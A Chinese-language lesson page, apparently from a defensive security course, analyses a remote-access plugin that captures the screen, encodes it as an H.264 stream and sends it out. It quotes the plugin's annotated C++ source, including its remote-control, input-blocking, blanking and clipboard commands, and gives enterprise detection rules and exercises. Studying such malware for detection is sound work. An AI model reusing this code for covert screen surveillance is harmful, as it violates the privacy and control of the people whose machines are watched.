// 3. 如果只看网络包内容,很容易和合法视频流混淆。
unsigned int __stdcall CH264ScreenManager::OutPutWork(void* arg)
{
    CH264ScreenManager* work = (CH264ScreenManager*)arg;
    H264_FRAME* h264_frame = NULL;

    while (work->run_mark)
    {
        // 从编码线程队列取 H.264 帧。
        h264_frame = (H264_FRAME*)queue_get(work->h264_queue);
        if (h264_frame == NULL)
        {
            WaitForSingleObject((HANDLE)work->h264_queue_event, 1000);
            continue;
        }

        // 网络包格式:1 字节 TOKEN + H.264 载荷。
        // 这里不再携带原始 BGRA 或 I420,说明屏幕内容已经视频压缩。
        LPBYTE lpBuffer = new BYTE[h264_frame->payload_size + 1];
        lpBuffer[0] = TOKEN_H264SCREEN;
        memcpy(lpBuffer + 1, h264_frame->frame_buffer, h264_frame->payload_size);

        // Send 失败会停止整条视频流。
        if (!work->Send(lpBuffer, UINT(h264_frame->payload_size + 1)))
        {
            delete[] lpBuffer;
            work->run_mark = false;
            break;
        }

        delete[] lpBuffer;

        // 释放编码后的 H.264 帧内存。
        free(h264_frame->free_buffer);
        delete h264_frame;
    }

    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

视频流量通常具有持续、压缩、高熵、大小随画面变化而波动的特征。合法视频会议、录屏软件、远程协助软件也可能有类似特征,因此企业规则要结合进程身份、用户授权、窗口提示和来源签名。

# 14. x264 编码器初始化

编码器初始化设置分辨率、帧率、码率和颜色空间。

// 源码位置:主插件\娱乐屏幕\娱乐屏幕\H264ScreenManager.cpp:621-653
// 防御分析注释:
// 1. 这里配置 H.264 编码参数,是判断“为什么使用 H.264”的关键源码。
// 2. preset/tune、宽高、I420、FPS、码率共同定义了一条实时视频流。
// 3. 本课不讨论如何优化编码参数,只说明它们在防御侧的证据价值。
bool CH264ScreenManager::InitH264Encoder()
{
    // 初始化 x264 默认参数。此处会建立基础编码配置。
    m_x264_param_default(&param);

    // x264_preset 来自 ResetScreen() 中的 "ultrafast"。
    // 含义是优先编码速度,适合实时屏幕流,但压缩率不一定最优。
    //
    // x264_tune 来自 ResetScreen() 中的 "zerolatency"。
    // 含义是降低编码延迟,减少排队等待,更符合远程查看的交互需求。
    m_x264_param_default_preset(&param, x264_preset.c_str(), x264_tune.c_str());

    // high profile 说明它使用标准 H.264 编码配置。
    m_x264_param_apply_profile(&param, "high");

    // 宽高直接来自采集显示器。
    // 如果编码分辨率和显示器分辨率高度一致,要和 BitBlt/GetDIBits 关联分析。
    param.i_width = monitor.capture_w;
    param.i_height = monitor.capture_h;

    // CaptureWork 已经用 libyuv::ARGBToI420 转成 I420。
    // 所以这里声明 x264 输入颜色空间为 X264_CSP_I420。
    param.i_csp = X264_CSP_I420;

    // 码率参数控制网络输出规模。
    // 合法视频软件也会设置码率,因此不能单独作为恶意结论。
    param.rc.i_vbv_max_bitrate = bitrate;
    param.rc.i_vbv_buffer_size = bitrate;
    param.rc.i_bitrate = bitrate;

    // 帧率参数。默认 fps=30,更接近连续视频,而不是偶发截图。
    param.i_fps_num = fps;
    param.i_fps_den = 1;

    // ABR 表示平均码率控制,适合持续流式发送。
    param.rc.i_rc_method = X264_RC_ABR;

    // 创建编码器实例。之后 EncoderWork 会反复调用 x264_encoder_encode。
    this->x264 = m_x264_encoder_open(&param);
    if (this->x264 == NULL)
        return false;

    return true;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

检测侧可以关注:

特征 说明
x264_param_default_preset x264 编码器初始化
X264_CSP_I420 视频编码常见颜色空间
i_widthi_height 与显示器尺寸对应
i_fps_num 帧率配置
i_bitrate 码率配置
x264_encoder_open 编码器会话创建

# 15. 命令面和控制风险

娱乐屏幕模块仍然包含远程控制、黑屏、屏蔽输入、剪贴板和显示器切换。

// 源码位置:主插件\娱乐屏幕\娱乐屏幕\H264ScreenManager.cpp:185-230
// 防御分析注释:H.264 视频流之外,这里还包含远程控制和剪贴板能力。
// 本课只归类风险,不提供触发方式。
void CH264ScreenManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
    if (lpBuffer[0] == TOKEN_HEARTBEAT)
        return;

    switch (lpBuffer[0])
    {
    case COMMAND_NEXT_H264CScreenSpyDlg:
        NotifyDialogIsOpen();
        break;

    case COMMAND_h264_SHOW_Cursor:
    case COMMAND_h264_HIDE_Cursor:
        // 控制视频流中是否包含光标。
        break;

    case COMMAND_h264_SCREEN_CONTROL:
        // 高风险:远程控制事件。
        ProcessCommand(lpBuffer + 1, nSize - 1);
        break;

    case COMMAND_h264_SCREEN_BLOCK_INPUT:
        // 高风险:屏蔽本地输入。
        break;

    case COMMAND_h264_SCREEN_BLANK:
        // 高风险:黑屏控制。
        break;

    case COMMAND_h264_SCREEN_GET_CLIPBOARD:
    case COMMAND_h264_SCREEN_SET_CLIPBOARD:
        // 高风险:剪贴板读取和写入。
        break;

    case COMMAND_h264_SCREEN_CHANGE_MONITORS:
        // 切换采集显示器。
        break;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

一个重要结论:娱乐屏幕不是单纯视频编码模块,它仍然和远程控制、输入屏蔽、黑屏、剪贴板结合在一起。企业规则要看完整会话,不要只把它当视频库使用。

# 16. 三种当前桌面屏幕模式横向比较

16. 三种当前桌面屏幕模式横向比较(配图)

模块 采集源 编码/压缩 主要检测点
高速屏幕 当前桌面 DC JPEG + zlib 高频 BitBlt、JPEG、持续上行
差异屏幕 当前桌面 DC 差异块 + zlib 首帧较大、后续小包、周期采集
娱乐屏幕 显示器 DC libyuv + H.264 x264、ARGBToI420、三线程队列、视频上行

这个对照表可以帮助新手建立统一模型:

采集源 -> 像素缓冲 -> 编码压缩 -> 网络发送 -> 控制命令 -> 企业检测

# 17. 企业检测点

17. 企业检测点(配图)

层面 检测点 说明
内存模块 MemoryLoadLibrary、内嵌 x264 数据 依赖库来源不透明
图形采集 CreateDCACreateCompatibleDCBitBltGetDIBits 屏幕像素来源
多显示器 EnumDisplayMonitorsGetMonitorInfoA 采集区域准备
像素转换 libyuv::ARGBToI420 视频编码前转换
H.264 编码 x264_param_default_presetx264_encoder_openx264_encoder_encode 实时视频流形成
队列线程 采集、编码、发送三线程 持续视频管线
网络行为 TOKEN_H264SCREEN、持续高熵上行 视频帧发送
控制面 黑屏、屏蔽输入、剪贴板、显示器切换 高风险远程控制能力
合规侧 用户提示、授权记录、退出机制 合法远程协助必要条件

高价值关联逻辑:

  1. 进程内存加载或解析 x264 相关函数。
  2. 同进程持续调用 BitBltGetDIBits
  3. 同进程调用 ARGBToI420 或 x264 编码函数。
  4. 同进程维持长连接并持续上行 H.264 类数据。
  5. 同进程出现黑屏、屏蔽输入或剪贴板命令。

满足 1-4 项时应重点关注;叠加第 5 项时应提升风险等级。

误报处理要看上下文:合法视频会议、录屏、直播推流和远程协助工具也可能使用 H.264。区别在于它们通常有明确进程身份、签名、用户界面、授权提示、可见录制/共享状态和审计记录。未知插件模块同时出现内存加载 x264、屏幕采集、控制命令和持续外联时,风险显著更高。

# 18. 合法练习题

  1. 不运行插件,只阅读源码,画出 CaptureWork -> EncoderWork -> OutPutWork 的数据流。
  2. 解释为什么 ARGBToI420 是 H.264 屏幕流的重要检测线索。
  3. 比较高速屏幕和娱乐屏幕:为什么一个偏 JPEG/zlib 快速发图,一个偏 H.264 长时间视频流。
  4. 设计一条企业规则:同一进程出现 BitBltARGBToI420x264_encoder_encode 和外联发送时触发告警。
  5. 站在合法远程协助产品角度,写出视频屏幕共享必须具备的用户确认、状态提示和结束机制。

# 19. 本课小结

娱乐屏幕模块本质上是一条 H.264 屏幕视频流链路:入口创建 CH264ScreenManager,管理器内存加载 x264,枚举显示器,采集线程用 BitBltGetDIBits 获取 BGRA 像素,随后用 libyuv 转成 I420,编码线程调用 x264 生成 H.264 NAL,输出线程加 TOKEN_H264SCREEN 后发送。它使用 H.264 的核心原因是原始屏幕帧太大,JPEG/zlib 难以充分利用连续帧相似性,而 H.264 更适合长时间、低延迟、可控码率的视频流。企业检测要把内存加载编码库、屏幕采集、像素转换、视频编码、队列线程和长连接关联起来。

安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。

上次更新: 2026/07/14, 19:37:40

社区交流

讨论与留言

前往 GitHub Issues →

本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。

最近更新
第 1 课:专栏导论与安全边界
07-01
第 3 课:安装编译与调试环境
07-01
第 4 课:第三方库下载、编译与依赖管理
07-01
更多文章>